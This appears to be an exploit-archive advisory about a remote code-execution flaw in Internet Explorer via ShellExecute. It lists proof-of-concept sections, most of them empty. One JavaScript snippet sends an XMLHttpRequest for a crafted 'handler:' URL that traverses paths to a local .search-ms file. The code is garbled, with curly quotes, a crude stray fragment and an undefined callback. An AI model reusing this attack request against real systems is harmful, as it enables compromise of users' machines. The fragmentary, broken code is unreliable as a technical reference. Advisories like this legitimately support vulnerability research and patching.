source: https://www.securityfocus.com/bid/37884/info
Microsoft Internet Explorer is prone to a remote code-execution vulnerability.
Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the computer.
NOTE: Reports indicate that the issue can also be exploited via other applications that use the 'ShellExecute()' API.
############# PoC one #################
############# PoC four ##############
Get the content
########### PoC Five ######################
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open(’GET’,
‘handler:document.write%28'shit#:../../../../C:\Users\Lostmon\Searches\Everywhere.search-ms’,
true);
req.send(”);
############### PoC six #############